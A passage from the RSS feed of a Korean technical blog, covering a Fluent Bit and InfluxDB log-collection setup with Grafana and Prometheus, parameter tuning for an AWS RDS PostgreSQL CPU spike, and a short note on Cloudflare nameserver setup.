/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Time_Keep&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;On &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;Command&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;Decoder&amp;nbsp;|&amp;nbsp;Field&amp;nbsp;|&amp;nbsp;Optional&amp;nbsp;Action &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;=============|==================|================= &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Decode_Field_As&amp;nbsp;&amp;nbsp;&amp;nbsp;escaped&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;log &lt;br /&gt;&lt;br /&gt;[MULTILINE_PARSER] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;multiline-regex-test &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;type&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;regex &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;flush_timeout&amp;nbsp;1000 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;Regex&amp;nbsp;rules&amp;nbsp;for&amp;nbsp;multiline&amp;nbsp;parsing &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;--------------------------------- &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;configuration&amp;nbsp;hints: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;-&amp;nbsp;first&amp;nbsp;state&amp;nbsp;always&amp;nbsp;has&amp;nbsp;the&amp;nbsp;name:&amp;nbsp;start_state &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;&amp;nbsp;-&amp;nbsp;every&amp;nbsp;field&amp;nbsp;in&amp;nbsp;the&amp;nbsp;rule&amp;nbsp;must&amp;nbsp;be&amp;nbsp;inside&amp;nbsp;double&amp;nbsp;quotes &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;rules&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;state&amp;nbsp;name&amp;nbsp;&amp;nbsp;|&amp;nbsp;regex&amp;nbsp;pattern&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;next&amp;nbsp;state &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;------|---------------|-------------------------------------------- &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rule&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;start_state&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;/([a-zA-Z]+&amp;nbsp;\d+&amp;nbsp;\d+\:\d+\:\d+)(.*)/&quot;&amp;nbsp;&amp;nbsp;&quot;cont&quot; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rule&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;cont&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;/^\s+at.*/&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;cont&quot; &lt;br /&gt;&lt;br /&gt;[PARSER] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Name&amp;nbsp;named-capture-test &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Format&amp;nbsp;regex &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Regex&amp;nbsp;/^(?&amp;lt;date&amp;gt;[a-zA-Z]+&amp;nbsp;\d+&amp;nbsp;\d+\:\d+\:\d+)&amp;nbsp;(?&amp;lt;message&amp;gt;.*)/m&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 디렉토리에 3개 파일 만들고 도커 컴포저 실행시키면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Agent 마다 각각 설치&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Agent :&amp;nbsp; &lt;span style=&quot;color: #006dd7;&quot;&gt;node -expoter&amp;nbsp;&lt;/span&gt; ,&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: #ee2323;&quot;&gt;fluent &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그라파나 :&amp;nbsp; &lt;span style=&quot;color: #006dd7;&quot;&gt;Prometheus&lt;/span&gt; ,&amp;nbsp; 그라파나, &lt;span style=&quot;color: #ee2323;&quot;&gt;influxdb&lt;/span&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7; text-align: start;&quot;&gt;node -expoter&amp;nbsp; &lt;span style=&quot;color: #006dd7; text-align: start;&quot;&gt;Prometheus 수집&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323; text-align: start;&quot;&gt;fluent(docker log)&amp;nbsp; &lt;span style=&quot;color: #ee2323;&quot;&gt;influxdb&lt;/span&gt;&amp;nbsp; 수집&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;둘다 그라파나에서 대쉬보드에서 보여준다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;influxdb&amp;nbsp; 2 버전이상으로 해야지 &lt;b&gt;관리자 페이지&lt;/b&gt;가 보인다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;docker-compose.yml&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: left;&quot;&gt;&amp;nbsp; &amp;nbsp;version: '3' &lt;br /&gt;services: &lt;br /&gt;&amp;nbsp;&amp;nbsp;influxdb: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;image:&amp;nbsp;influxdb:2.7.7 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;container_name:&amp;nbsp;influx &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ports: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;'8086:8086' &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;environment: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;INFLUXDB_ADMIN_ENABLED=true &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;INFLUXDB_ADMIN_USER=admin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;INFLUXDB_ADMIN_PASSWORD=초기패스워드 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tty:&amp;nbsp;true &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;stdin_open:&amp;nbsp;true &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;volumes: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;./influx/config:/etc/influxdb &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;./influxdb:/var/lib/influxdb&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2024-07-19 15 26 11.jpg&quot; data-origin-width=&quot;1323&quot; data-origin-height=&quot;627&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c21Fwf/btsIG9lnEhl/zanCIi1f77wqniXa0wZXRK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c21Fwf/btsIG9lnEhl/zanCIi1f77wqniXa0wZXRK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c21Fwf/btsIG9lnEhl/zanCIi1f77wqniXa0wZXRK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc21Fwf%2FbtsIG9lnEhl%2FzanCIi1f77wqniXa0wZXRK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1323&quot; height=&quot;627&quot; data-filename=&quot;2024-07-19 15 26 11.jpg&quot; data-origin-width=&quot;1323&quot; data-origin-height=&quot;627&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정규식으로 차차 분석 하면 될듯&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Prometheus</category>
      <category>fluent-bit #</category>
      <category>InfluxDB</category>
      <author>iesay</author>
      <guid isPermaLink="true">https://iesay.tistory.com/259</guid>
      <comments>https://iesay.tistory.com/259#entry259comment</comments>
      <pubDate>Fri, 19 Jul 2024 15:23:15 +0900</pubDate>
    </item>
    <item>
      <title>aws rds postgresql cpu 상승 현상</title>
      <link>https://iesay.tistory.com/257</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;CPUUtilization 간혹가다 90%&amp;nbsp; 50% 유지하다 떨어지고 반복하는 현상&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파라메터 그룹에서 캐쉬 사이즈 변경&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;이미지 004.jpg&quot; data-origin-width=&quot;922&quot; data-origin-height=&quot;464&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2WGp1/btsIpUbXA1Z/9AyKoNL92KklJQgVPkZlvK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2WGp1/btsIpUbXA1Z/9AyKoNL92KklJQgVPkZlvK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2WGp1/btsIpUbXA1Z/9AyKoNL92KklJQgVPkZlvK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2WGp1%2FbtsIpUbXA1Z%2F9AyKoNL92KklJQgVPkZlvK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;922&quot; height=&quot;464&quot; data-filename=&quot;이미지 004.jpg&quot; data-origin-width=&quot;922&quot; data-origin-height=&quot;464&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%; text-align: left;&quot;&gt;effective_cache_size&amp;nbsp;&amp;nbsp;{DBInstanceClassMemory/16384}&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;gt;&amp;nbsp;8000000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;8GB &lt;br /&gt;maintenance_work_mem&amp;nbsp;&amp;nbsp;GREATEST({DBInstanceClassMemory*1024/63963136},65536)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;gt;&amp;nbsp;&amp;nbsp;1000000&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1GB &lt;br /&gt;work_mem&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp;&amp;nbsp;4096&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;gt;&amp;nbsp;64096&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;64KB&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;M5.xlarge&amp;nbsp; &amp;nbsp;16기가라&amp;nbsp; &amp;nbsp; 맞게 수정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;재부팅이 필요 없는거 부터 우선 적용&lt;/p&gt;</description>
      <category>cpu #rds #postgresql</category>
      <author>iesay</author>
      <guid isPermaLink="true">https://iesay.tistory.com/257</guid>
      <comments>https://iesay.tistory.com/257#entry257comment</comments>
      <pubDate>Sat, 6 Jul 2024 08:15:40 +0900</pubDate>
    </item>
    <item>
      <title>CloudFlare 연동</title>
      <link>https://iesay.tistory.com/256</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;CloudFlare&amp;nbsp;연동&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네임 서버를&amp;nbsp; CloudFlare 에 둬야 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;이미지 004.jpg&quot; data-origin-width=&quot;920&quot; data-origin-height=&quot;627&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TtWYf/btsIinZD2vl/BrT8db3lwrQNWkkypYyfMK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TtWYf/btsIinZD2vl/BrT8db3lwrQNWkkypYyfMK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TtWYf/btsIinZD2vl/BrT8db3lwrQNWkkypYyfMK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTtWYf%2FbtsIinZD2vl%2FBrT8db3lwrQNWkkypYyfMK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;920&quot; height=&quot;627&quot; data-filename=&quot;이미지 004.jpg&quot; data-origin-width=&quot;920&quot; data-origin-height=&quot;627&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>hetzner</category>
      <author>iesay</author>
      <guid isPermaLink="true">https://iesay.tistory.com/256</guid>
      <comments>https://iesay.tistory.com/256#entry256comment</comments>
      <pubDate>Mon, 1 Jul 2024 13:38:13 +0900</pubDate>
    </item>
  </channel>
</rss>